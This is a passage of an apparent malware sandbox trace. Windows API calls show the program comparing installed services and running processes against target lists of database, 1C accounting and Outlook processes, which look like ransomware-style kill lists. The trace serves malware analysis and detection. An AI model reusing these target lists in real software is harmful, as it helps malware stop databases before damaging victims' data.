lpString2="CscService") returned 1 [0079.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0079.705] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0079.705] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0079.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0079.705] lstrlenW (lpString="DcomLaunch") returned 10 [0079.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0079.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0079.705] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0079.705] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0079.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0079.705] lstrlenW (lpString="Dhcp") returned 4 [0079.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0079.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0079.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0079.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0079.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0079.705] lstrlenW (lpString="Dnscache") returned 8 [0079.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0079.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0079.705] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0079.705] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0079.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0079.706] lstrlenW (lpString="DPS") returned 3 [0079.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0079.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0079.706] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0079.706] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0079.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0079.706] lstrlenW (lpString="eventlog") returned 8 [0079.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0079.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0079.706] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0079.706] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0079.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0079.706] lstrlenW (lpString="EventSystem") returned 11 [0079.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0079.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0079.706] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0079.706] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0079.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0079.706] lstrlenW (lpString="gpsvc") returned 5 [0079.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0079.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0079.706] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0079.706] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0079.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0079.706] lstrlenW (lpString="iphlpsvc") returned 8 [0079.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0079.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0079.706] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0079.706] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0079.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0079.706] lstrlenW (lpString="LanmanServer") returned 12 [0079.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0079.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0079.706] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0079.707] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0079.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0079.707] lstrlenW (lpString="LanmanWorkstation") returned 17 [0079.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0079.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0079.707] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0079.707] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0079.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0079.707] lstrlenW (lpString="lmhosts") returned 7 [0079.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0079.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0079.707] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0079.707] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0079.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0079.707] lstrlenW (lpString="MMCSS") returned 5 [0079.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0079.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0079.707] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0079.707] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0079.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0079.707] lstrlenW (lpString="MpsSvc") returned 6 [0079.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0079.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0079.707] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0079.707] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0079.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0079.707] lstrlenW (lpString="Netman") returned 6 [0079.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0079.707] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0079.707] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0079.707] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0079.707] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0079.707] lstrlenW (lpString="netprofm") returned 8 [0079.707] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0079.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0079.708] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0079.708] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0079.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0079.708] lstrlenW (lpString="NlaSvc") returned 6 [0079.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0079.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0079.708] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0079.708] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0079.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0079.708] lstrlenW (lpString="nsi") returned 3 [0079.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0079.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0079.708] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0079.708] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0079.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0079.708] lstrlenW (lpString="PcaSvc") returned 6 [0079.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0079.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0079.708] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0079.708] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0079.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0079.708] lstrlenW (lpString="PlugPlay") returned 8 [0079.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0079.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0079.708] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0079.708] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0079.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0079.708] lstrlenW (lpString="Power") returned 5 [0079.708] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0079.708] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0079.708] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0079.708] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0079.708] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0079.709] lstrlenW (lpString="ProfSvc") returned 7 [0079.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0079.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0079.709] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0079.709] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0079.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0079.709] lstrlenW (lpString="RpcEptMapper") returned 12 [0079.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0079.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0079.709] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0079.709] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0079.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0079.709] lstrlenW (lpString="RpcSs") returned 5 [0079.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0079.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0079.709] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0079.709] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0079.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0079.709] lstrlenW (lpString="SamSs") returned 5 [0079.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0079.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0079.709] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0079.709] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0079.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0079.709] lstrlenW (lpString="Schedule") returned 8 [0079.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0079.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0079.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0079.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0079.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0079.709] lstrlenW (lpString="SENS") returned 4 [0079.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0079.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0079.709] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0079.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0079.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0079.710] lstrlenW (lpString="ShellHWDetection") returned 16 [0079.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0079.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0079.710] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0079.710] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0079.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0079.710] lstrlenW (lpString="Spooler") returned 7 [0079.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0079.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0079.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0079.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0079.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0079.710] lstrlenW (lpString="swprv") returned 5 [0079.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0079.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0079.710] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0079.710] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0079.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0079.710] lstrlenW (lpString="SysMain") returned 7 [0079.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0079.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0079.710] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0079.710] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0079.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0079.710] lstrlenW (lpString="Themes") returned 6 [0079.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0079.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0079.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0079.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0079.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0079.710] lstrlenW (lpString="TrkWks") returned 6 [0079.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0079.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0079.711] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0079.711] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0079.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0079.711] lstrlenW (lpString="UxSms") returned 5 [0079.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0079.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0079.711] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0079.711] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0079.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0079.711] lstrlenW (lpString="VSS") returned 3 [0079.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0079.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0079.711] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0079.711] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0079.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0079.711] lstrlenW (lpString="WdiServiceHost") returned 14 [0079.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0079.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0079.711] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0079.711] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0079.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0079.711] lstrlenW (lpString="WdiSystemHost") returned 13 [0079.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0079.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0079.711] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0079.711] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0079.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0079.711] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0079.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0079.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0079.711] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0079.711] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0079.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0079.711] lstrlenW (lpString="Winmgmt") returned 7 [0079.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0079.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0079.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0079.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0079.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0079.712] lstrlenW (lpString="WPDBusEnum") returned 10 [0079.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0079.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0079.712] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0079.712] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0079.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0079.712] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x628500 | out: hHeap=0x5d0000) returned 1 [0079.712] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x180 [0079.717] Process32FirstW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0079.717] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0079.718] lstrlenW (lpString="System") returned 6 [0079.718] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0079.718] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0079.718] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0079.718] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0079.718] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0079.718] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0079.718] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0079.718] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0079.718] lstrlenW (lpString="smss.exe") returned 8 [0079.718] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0079.718] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0079.718] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0079.718] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0079.718] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0079.718] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0079.718] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0079.719] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.719] lstrlenW (lpString="csrss.exe") returned 9 [0079.719] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0079.719] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0079.719] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0079.719] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0079.719] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0079.719] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0079.719] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0079.719] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0079.720] lstrlenW (lpString="wininit.exe") returned 11 [0079.720] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0079.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0079.720] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0079.720] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.720] lstrlenW (lpString="csrss.exe") returned 9 [0079.721] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0079.721] lstrlenW (lpString="winlogon.exe") returned 12 [0079.721] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0079.722] lstrlenW (lpString="services.exe") returned 12 [0079.722] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0079.722] lstrlenW (lpString="lsass.exe") returned 9 [0079.722] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0079.723] lstrlenW (lpString="lsm.exe") returned 7 [0079.723] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.723] lstrlenW (lpString="svchost.exe") returned 11 [0079.723] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.724] lstrlenW (lpString="svchost.exe") returned 11 [0079.724] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.724] lstrlenW (lpString="svchost.exe") returned 11 [0079.724] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.725] lstrlenW (lpString="svchost.exe") returned 11 [0079.725] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x31, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.725] lstrlenW (lpString="svchost.exe") returned 11 [0079.725] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0079.726] lstrlenW (lpString="audiodg.exe") 